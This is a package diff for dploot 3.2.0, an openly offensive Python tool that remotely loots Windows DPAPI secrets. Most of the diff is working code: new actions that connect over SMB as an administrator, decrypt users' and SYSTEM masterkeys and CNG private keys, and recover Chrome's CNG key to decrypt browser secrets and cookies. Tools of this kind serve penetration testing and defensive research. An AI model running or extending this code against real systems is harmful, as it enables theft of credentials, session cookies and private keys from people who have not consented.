dploot 3.1.3__tar.gz → 3.2.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (50) hide show
  1. {dploot-3.1.3 → dploot-3.2.0}/PKG-INFO +8 -14
  2. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/browser.py +17 -0
  3. dploot-3.2.0/dploot/action/cng.py +129 -0
  4. dploot-3.2.0/dploot/action/machinecng.py +120 -0
  5. {dploot-3.1.3 → dploot-3.2.0}/dploot/entry.py +4 -0
  6. dploot-3.2.0/dploot/lib/consts.py +30 -0
  7. {dploot-3.1.3 → dploot-3.2.0}/dploot/lib/crypto.py +104 -1
  8. {dploot-3.1.3 → dploot-3.2.0}/dploot/lib/dpapi.py +2 -2
  9. {dploot-3.1.3 → dploot-3.2.0}/dploot/lib/masterkey.py +2 -2
  10. {dploot-3.1.3 → dploot-3.2.0}/dploot/lib/smb.py +51 -20
  11. {dploot-3.1.3 → dploot-3.2.0}/dploot/lib/target.py +2 -0
  12. {dploot-3.1.3 → dploot-3.2.0}/dploot/lib/utils.py +1 -1
  13. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/__init__.py +6 -7
  14. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/browser.py +72 -49
  15. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/certificates.py +62 -40
  16. dploot-3.2.0/dploot/triage/cng.py +165 -0
  17. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/credentials.py +1 -2
  18. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/masterkeys.py +7 -8
  19. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/mobaxterm.py +1 -2
  20. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/rdg.py +1 -2
  21. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/vaults.py +3 -4
  22. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/wam.py +6 -3
  23. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/wifi.py +13 -18
  24. {dploot-3.1.3 → dploot-3.2.0}/pyproject.toml +14 -14
  25. dploot-3.1.3/dploot/lib/consts.py +0 -11
  26. {dploot-3.1.3 → dploot-3.2.0}/LICENSE +0 -0
  27. {dploot-3.1.3 → dploot-3.2.0}/README.md +0 -0
  28. {dploot-3.1.3 → dploot-3.2.0}/dploot/__init__.py +0 -0
  29. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/__init__.py +0 -0
  30. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/backupkey.py +0 -0
  31. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/blob.py +0 -0
  32. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/certificates.py +0 -0
  33. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/credentials.py +0 -0
  34. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/machinecertificates.py +0 -0
  35. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/machinecredentials.py +0 -0
  36. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/machinemasterkeys.py +0 -0
  37. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/machinetriage.py +0 -0
  38. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/machinevaults.py +0 -0
  39. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/masterkeys.py +0 -0
  40. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/mobaxterm.py +0 -0
  41. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/rdg.py +0 -0
  42. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/sccm.py +0 -0
  43. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/triage.py +0 -0
  44. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/vaults.py +0 -0
  45. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/wam.py +0 -0
  46. {dploot-3.1.3 → dploot-3.2.0}/dploot/action/wifi.py +0 -0
  47. {dploot-3.1.3 → dploot-3.2.0}/dploot/lib/__init__.py +0 -0
  48. {dploot-3.1.3 → dploot-3.2.0}/dploot/lib/wmi.py +0 -0
  49. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/backupkey.py +0 -0
  50. {dploot-3.1.3 → dploot-3.2.0}/dploot/triage/sccm.py +0 -0
@@ -1,26 +1,20 @@
1
- Metadata-Version: 2.3
1
+ Metadata-Version: 2.4
2
2
  Name: dploot
3
- Version: 3.1.3
3
+ Version: 3.2.0
4
4
  Summary: DPAPI looting remotely in Python
5
- License: MIT
5
+ License-Expression: MIT
6
+ License-File: LICENSE
6
7
  Keywords: DPAPI,credentials,Windows
7
- Author: zblurx
8
+ Author: Thomas Seigneuret
8
9
  Author-email: seigneuret.thomas@protonmail.com
9
- Requires-Python: >=3.10.0,<4.0.0
10
- Classifier: Environment :: Console
11
- Classifier: License :: OSI Approved :: MIT License
12
- Classifier: Programming Language :: Python :: 3
13
- Classifier: Programming Language :: Python :: 3.10
14
- Classifier: Programming Language :: Python :: 3.11
15
- Classifier: Programming Language :: Python :: 3.12
16
- Classifier: Programming Language :: Python :: 3.13
17
10
  Classifier: Topic :: Security
11
+ Classifier: Programming Language :: Python :: 3
12
+ Classifier: License :: OSI Approved :: MIT License
13
+ Classifier: Environment :: Console
18
14
  Requires-Dist: cryptography (>=40.0.1)
19
15
  Requires-Dist: impacket (>=0.12.0)
20
16
  Requires-Dist: lxml (>=5.0)
21
17
  Requires-Dist: pyasn1 (>=0.4.8)
22
- Project-URL: Homepage, https://github.com/zblurx/dploot
23
- Project-URL: Repository, https://github.com/zblurx/dploot
24
18
  Description-Content-Type: text/markdown
25
19
 
26
20
  # dploot
@@ -11,6 +11,7 @@ from dploot.lib.smb import DPLootSMBConnection
11
11
  from dploot.lib.target import Target, add_target_argument_group
12
12
  from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
13
13
  from dploot.triage.browser import BrowserTriage, Cookie
14
+ from dploot.triage.cng import CngTriage
14
15
  from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
15
16
 
16
17
  NAME = "browser"
@@ -95,6 +96,21 @@ class BrowserAction:
95
96
  else:
96
97
  secret.dump()
97
98
 
99
+ cng_chromekey = None
100
+
101
+ if self.options.v20support:
102
+ triage = CngTriage(
103
+ target=self.target,
104
+ conn=self.conn,
105
+ masterkeys=self.masterkeys,
106
+ )
107
+ logging.info("Triage SYSTEM CNG files\n")
108
+
109
+ for cng_file in triage.triage_system_cng():
110
+ if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
111
+ logging.info("Found CNG Google ChromeKey1\n")
112
+ cng_chromekey = cng_file.decrypted_private_key
113
+
98
114
  triage = BrowserTriage(
99
115
  target=self.target,
100
116
  conn=self.conn,
@@ -107,6 +123,7 @@ class BrowserAction:
107
123
  )
108
124
  triage.triage_browsers(
109
125
  gather_cookies=self.options.show_cookies,
126
+ cng_chromekey=cng_chromekey,
110
127
  bypass_shared_violation=self.options.bypass_shared_violation,
111
128
  )
112
129
  if self.outputdir is not None:
@@ -0,0 +1,129 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+
6
+ from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options
7
+ from dploot.lib.smb import DPLootSMBConnection
8
+ from dploot.lib.target import Target, add_target_argument_group
9
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
10
+ from dploot.triage.cng import CngTriage
11
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
12
+
13
+
14
+ NAME = "cng"
15
+
16
+ class CngAction:
17
+ def __init__(self, options: argparse.Namespace) -> None:
18
+ self.options = options
19
+ self.target = Target.from_options(options)
20
+
21
+ self.conn = None
22
+ self._is_admin = None
23
+ self.outputdir = None
24
+ self.masterkeys = None
25
+ self.pvkbytes = None
26
+ self.passwords = None
27
+ self.nthashes = None
28
+
29
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
30
+
31
+ if self.options.mkfile is not None:
32
+ try:
33
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
34
+ except Exception as e:
35
+ logging.error(str(e))
36
+ sys.exit(1)
37
+
38
+ self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(
39
+ self.options, self.target
40
+ )
41
+
42
+ def connect(self) -> None:
43
+ self.conn = DPLootSMBConnection(self.target)
44
+ if self.conn.connect() is None:
45
+ logging.error("Could not connect to %s" % self.target.address)
46
+ sys.exit(1)
47
+
48
+ def run(self) -> None:
49
+ self.connect()
50
+ logging.info(
51
+ "Connected to {} as {}\\{} {}\n".format(
52
+ self.target.address,
53
+ self.target.domain,
54
+ self.target.username,
55
+ ("(admin)" if self.is_admin else ""),
56
+ )
57
+ )
58
+ if self.is_admin:
59
+ if self.masterkeys is None:
60
+
61
+ def masterkey_triage(masterkey):
62
+ masterkey.dump()
63
+
64
+ masterkeytriage = MasterkeysTriage(
65
+ target=self.target,
66
+ conn=self.conn,
67
+ pvkbytes=self.pvkbytes,
68
+ nthashes=self.nthashes,
69
+ passwords=self.passwords,
70
+ per_masterkey_callback=masterkey_triage
71
+ if not self.options.quiet
72
+ else None,
73
+ )
74
+ logging.info("Triage ALL USERS masterkeys\n")
75
+ self.masterkeys = masterkeytriage.triage_masterkeys()
76
+ print()
77
+ if self.outputdir is not None:
78
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
79
+
80
+ def cng_callback(cng):
81
+ if self.options.quiet:
82
+ cng.dump_quiet()
83
+ else:
84
+ cng.dump()
85
+
86
+ triage = CngTriage(
87
+ target=self.target,
88
+ conn=self.conn,
89
+ masterkeys=self.masterkeys,
90
+ per_cng_callback=cng_callback,
91
+ )
92
+ logging.info("Triage CNG files for ALL USERS\n")
93
+ triage.triage_cng()
94
+ if self.outputdir is not None:
95
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
96
+ else:
97
+ logging.info("Not an admin, exiting...")
98
+
99
+ @property
100
+ def is_admin(self) -> bool:
101
+ if self._is_admin is not None:
102
+ return self._is_admin
103
+
104
+ self._is_admin = self.conn.is_admin()
105
+ return self._is_admin
106
+
107
+
108
+ def entry(options: argparse.Namespace) -> None:
109
+ a = CngAction(options)
110
+ a.run()
111
+
112
+
113
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
114
+ subparser = subparsers.add_parser(
115
+ NAME, help="Dump users CNG files blob from local or remote target"
116
+ )
117
+
118
+ group = subparser.add_argument_group("cng options")
119
+
120
+ group.add_argument(
121
+ "-mkfile",
122
+ action="store",
123
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
124
+ )
125
+
126
+ add_masterkeys_argument_group(group)
127
+ add_target_argument_group(subparser)
128
+
129
+ return NAME, entry
@@ -0,0 +1,120 @@
1
+ import argparse
2
+ import logging
3
+ import sys
4
+ from typing import Callable, Tuple
5
+
6
+ from dploot.lib.smb import DPLootSMBConnection
7
+ from dploot.lib.target import Target, add_target_argument_group
8
+ from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option
9
+ from dploot.triage.cng import CngTriage
10
+ from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
11
+
12
+
13
+ NAME = "machinecng"
14
+
15
+
16
+ class MachineCngAction:
17
+ def __init__(self, options: argparse.Namespace) -> None:
18
+ self.options = options
19
+
20
+ self.target = Target.from_options(options)
21
+
22
+ self.conn = None
23
+ self._is_admin = None
24
+ self.masterkeys = None
25
+ self.outputdir = None
26
+
27
+ self.outputdir = handle_outputdir_option(directory=self.options.export_dir)
28
+
29
+ if self.options.mkfile is not None:
30
+ try:
31
+ self.masterkeys = parse_masterkey_file(self.options.mkfile)
32
+ except Exception as e:
33
+ logging.error(str(e))
34
+ sys.exit(1)
35
+
36
+ def connect(self) -> None:
37
+ self.conn = DPLootSMBConnection(self.target)
38
+ if self.conn.connect() is None:
39
+ logging.error("Could not connect to %s" % self.target.address)
40
+ sys.exit(1)
41
+
42
+ def run(self) -> None:
43
+ self.connect()
44
+ logging.info(
45
+ "Connected to {} as {}\\{} {}\n".format(
46
+ self.target.address,
47
+ self.target.domain,
48
+ self.target.username,
49
+ ("(admin)" if self.is_admin else ""),
50
+ )
51
+ )
52
+ if self.is_admin:
53
+ if self.masterkeys is None:
54
+
55
+ def masterkey_triage(masterkey):
56
+ masterkey.dump()
57
+
58
+ masterkeytriage = MasterkeysTriage(
59
+ target=self.target,
60
+ conn=self.conn,
61
+ per_masterkey_callback=masterkey_triage
62
+ if not self.options.quiet
63
+ else None,
64
+ )
65
+ logging.info("Triage SYSTEM masterkeys\n")
66
+ self.masterkeys = masterkeytriage.triage_system_masterkeys()
67
+ print()
68
+ if self.outputdir is not None:
69
+ dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files)
70
+
71
+ def cng_callback(cng_file):
72
+ if self.options.quiet:
73
+ cng_file.dump_quiet()
74
+ else:
75
+ cng_file.dump()
76
+
77
+ triage = CngTriage(
78
+ target=self.target,
79
+ conn=self.conn,
80
+ masterkeys=self.masterkeys,
81
+ per_cng_callback=cng_callback,
82
+ )
83
+ logging.info("Triage SYSTEM CNG files\n")
84
+ triage.triage_system_cng()
85
+ if self.outputdir is not None:
86
+ dump_looted_files_to_disk(self.outputdir, triage.looted_files)
87
+
88
+ else:
89
+ logging.info("Not an admin, exiting...")
90
+
91
+ @property
92
+ def is_admin(self) -> bool:
93
+ if self._is_admin is not None:
94
+ return self._is_admin
95
+
96
+ self._is_admin = self.conn.is_admin()
97
+ return self._is_admin
98
+
99
+
100
+ def entry(options: argparse.Namespace) -> None:
101
+ a = MachineCngAction(options)
102
+ a.run()
103
+
104
+
105
+ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]:
106
+ subparser = subparsers.add_parser(
107
+ NAME, help="Dump system CNG files from local or remote target"
108
+ )
109
+
110
+ group = subparser.add_argument_group("machinecng options")
111
+
112
+ group.add_argument(
113
+ "-mkfile",
114
+ action="store",
115
+ help=("File containing {GUID}:SHA1 masterkeys mappings"),
116
+ )
117
+
118
+ add_target_argument_group(subparser)
119
+
120
+ return NAME, entry
@@ -11,8 +11,10 @@ from dploot.action import (
11
11
  blob,
12
12
  browser,
13
13
  certificates,
14
+ cng,
14
15
  credentials,
15
16
  machinecertificates,
17
+ machinecng,
16
18
  machinecredentials,
17
19
  machinemasterkeys,
18
20
  machinetriage,
@@ -32,8 +34,10 @@ ENTRY_PARSERS = [
32
34
  blob,
33
35
  browser,
34
36
  certificates,
37
+ cng,
35
38
  credentials,
36
39
  machinecertificates,
40
+ machinecng,
37
41
  machinecredentials,
38
42
  machinemasterkeys,
39
43
  machinetriage,
@@ -0,0 +1,30 @@
1
+ # Define some dploot consts.
2
+
3
+ FALSE_POSITIVES = [
4
+ ".",
5
+ "..",
6
+ "desktop.ini",
7
+ "Public",
8
+ "Default",
9
+ "Default User",
10
+ "All Users",
11
+ ]
12
+
13
+ # simple class to check for false positives, case insensitive
14
+ class FalsePositives(list):
15
+ def __init__(self,
16
+ false_positives: list[str] = None
17
+ ) -> None:
18
+ if false_positives is None:
19
+ false_positives = FALSE_POSITIVES
20
+
21
+ super().__init__(map (lambda x: x.lower(), false_positives))
22
+
23
+ def __contains__(self, name):
24
+ return super().__contains__(str(name).lower())
25
+
26
+ def __setitem__(self, key, value):
27
+ return super().__setitem__(key,str(value).lower())
28
+
29
+ def append(self, element):
30
+ return super().append(str(element).lower())
@@ -43,6 +43,107 @@ class CERTBLOB:
43
43
  print()
44
44
  print("DER : %s " % (self.der))
45
45
 
46
+ # CNG PART
47
+ class CNG_PROPERTY(Structure):
48
+ structure = (
49
+ ("StructLen", "<L=0"),
50
+ ("Type", "<L=0"),
51
+ ("Unknown", "<L=0"),
52
+ ("NameLen", "<L=0"),
53
+ ("PropertyLen", "<L=0"),
54
+ ("_Name", "_-Name", 'self["NameLen"]'),
55
+ ("Name", ":"),
56
+ ("_Property", "_-Property", 'self["PropertyLen"]'),
57
+ ("Property", ":"),
58
+ )
59
+
60
+ def dump(self):
61
+ print("[CNG PROPERTY]")
62
+ print("StructLen : %8x (%d)" % (self["StructLen"], self["StructLen"]))
63
+ print("Type : %8x (%d)" % (self["Type"], self["Type"]))
64
+ print("Unknown : %8x (%d)" % (self["Unknown"], self["Unknown"]))
65
+ print("NameLen : %8x (%d)" % (self["NameLen"], self["NameLen"]))
66
+ print("PropertyLen : %8x (%d)" % (self["PropertyLen"], self["PropertyLen"]))
67
+ print("Name : %s" % (self["Name"].decode("utf-16le").rstrip("\0")))
68
+ print("Property : %s" % hexlify(self["Property"]))
69
+
70
+ class CNG_PROPERTIES:
71
+ def __init__(self, data=None, alignment=0):
72
+ remaining = data
73
+ self.properties = []
74
+ while len(remaining) > 0:
75
+ prop = CNG_PROPERTY(remaining)
76
+ self.properties.append(prop)
77
+ remaining = remaining[len(prop) :]
78
+
79
+ def __len__(self):
80
+ length = 0
81
+ for prop in self.properties:
82
+ length += len(prop)
83
+ return length
84
+
85
+ def dump(self):
86
+ for prop in self.properties:
87
+ prop.dump()
88
+
89
+ class CNG_BLOB(Structure):
90
+ structure = (
91
+ ("Version", "<L=1"),
92
+ ("Unknown", "<L=0"),
93
+ ("NameLen", "<L=0"),
94
+ ("Type", "<L=0"),
95
+ ("PublicPropLen", "<L=0"),
96
+ ("PrivatePropLen", "<L=0"),
97
+ ("PrivateKeyLen", "<L=0"),
98
+ ("Unknown2", "16s=b'\\x00'*16"),
99
+ ("_Name", "_-Name", 'self["NameLen"]'),
100
+ ("Name", ":"),
101
+ ("_PublicProperties", "_-PublicProperties", 'self["PublicPropLen"]'),
102
+ ("PublicProperties", ":", CNG_PROPERTIES),
103
+ ("_PrivateProperties", "_-PrivateProperties", 'self["PrivatePropLen"]'),
104
+ ("PrivateProperties", ":", DPAPI_BLOB),
105
+ ("_PrivateKey", "_-PrivateKey", 'self["PrivateKeyLen"]'),
106
+ ("PrivateKey", ":", DPAPI_BLOB),
107
+ )
108
+
109
+ def dump(self):
110
+ print("[CNG BLOB]")
111
+ print("Version : %8x (%d)" % (self["Version"], self["Version"]))
112
+ print("Unknown : %8x (%d)" % (self["Unknown"], self["Unknown"]))
113
+ print("NameLen : %8x (%d)" % (self["NameLen"], self["NameLen"]))
114
+ print("Type : %8x (%d)" % (self["Type"], self["Type"]))
115
+ print("PublicPropLen : %8x (%d)" % (self["PublicPropLen"], self["PublicPropLen"]))
116
+ print("PrivatePropLey : %8x (%d)" % (self["PrivatePropLen"], self["PrivatePropLen"]))
117
+ print("PrivateKeyLen : %8x (%d)" % (self["PrivateKeyLen"], self["PrivateKeyLen"]))
118
+ print("Unknown2 : %s " % (self["Unknown2"]))
119
+ print("Name : %s" % (self["Name"].decode("utf-16le").rstrip("\0")))
120
+ print()
121
+ print("PublicProperties:")
122
+ self["PublicProperties"].dump()
123
+ print()
124
+ print("PrivateProperties:")
125
+ self["PrivateProperties"].dump()
126
+ print()
127
+ print("PrivateKey:")
128
+ self["PrivateKey"].dump()
129
+
130
+ class CHROME_KEY_DATA_BLOB(Structure):
131
+ structure = (
132
+ ("Magic", "<I"),
133
+ ("Version", "<I"),
134
+ ("KeyLen", "<I"),
135
+ ("_Key", "_-Key", 'self["KeyLen"]'),
136
+ ("Key", ":"),
137
+ ("Remaining", ":")
138
+ )
139
+
140
+ def dump(self):
141
+ print("[BCRYPT KEY DATA]")
142
+ print("Magic : %4x (%s)" % (self["Magic"], self["Magic"]))
143
+ print("Version : %4x (%d)" % (self["Version"], self["Version"]))
144
+ print("KeyLen : %4x (%d)" % (self["KeyLen"], self["KeyLen"]))
145
+ print("Key : %s" % hexlify(self["Key"]))
146
+ print("Remaining : %s" % hexlify(self["Remaining"]))
46
147
 
47
148
  # https://github.com/SecureAuthCorp/impacket/pull/1120
48
149
  # Private Decrypted Private Key
@@ -258,7 +359,7 @@ class PVKHeader(Structure):
258
359
 
259
360
  def pvkblob_to_pkcs1(key):
260
361
  """
261
- modified from impacket dpapi.py
362
+ Modified from impacket dpapi.py
262
363
  parse private key into pkcs#1 format
263
364
  :param key:
264
365
  :return:
@@ -298,6 +399,8 @@ def deriveKeysFromUser(sid, password):
298
399
 
299
400
  return key1, key2, key3
300
401
 
402
+ def byte_xor(ba1, ba2):
403
+ return bytes([_a ^ _b for _a, _b in zip(ba1, ba2, strict=False)])
301
404
 
302
405
  def deriveKeysFromUserkey(sid, nthash):
303
406
  key1 = HMAC.new(nthash, (sid + "\0").encode("utf-16le"), SHA1).digest() # SHA1
@@ -141,7 +141,7 @@ def find_masterkey_for_credential_blob(
141
141
 
142
142
 
143
143
  def decrypt_privatekey(
144
- privatekey_bytes: bytes, masterkey: Any, cng: bool = False
144
+ privatekey_bytes: bytes, masterkey: Any
145
145
  ) -> RSA.RsaKey:
146
146
  blob = PVKHeader(privatekey_bytes)
147
147
  blob = PVKFile_SIG(privatekey_bytes) if blob["SigHeadLen"] > 0 else PVKFile(privatekey_bytes)
@@ -152,7 +152,7 @@ def decrypt_privatekey(
152
152
 
153
153
 
154
154
  def find_masterkey_for_privatekey_blob(
155
- privatekey_bytes: bytes, masterkeys: List[Any], cng: bool = False
155
+ privatekey_bytes: bytes, masterkeys: List[Any]
156
156
  ) -> "Any | None":
157
157
  blob = PVKHeader(privatekey_bytes)
158
158
  if len(blob["Remaining"]) == 0:
@@ -11,10 +11,10 @@ from dploot.lib.dpapi import decrypt_masterkey
11
11
 
12
12
 
13
13
  class Masterkey:
14
- def __init__(self, guid, blob = None, sid = None, key = None, sha1 = None, user: str = "None") -> None:
14
+ def __init__(self, guid, blob = None, sid:str = None, key = None, sha1 = None, user: str = "None") -> None:
15
15
  self.guid = guid
16
16
  self.blob = blob
17
- self.sid = sid
17
+ self.sid = str(sid).upper()
18
18
  self.user = user
19
19
 
20
20
  self.key = key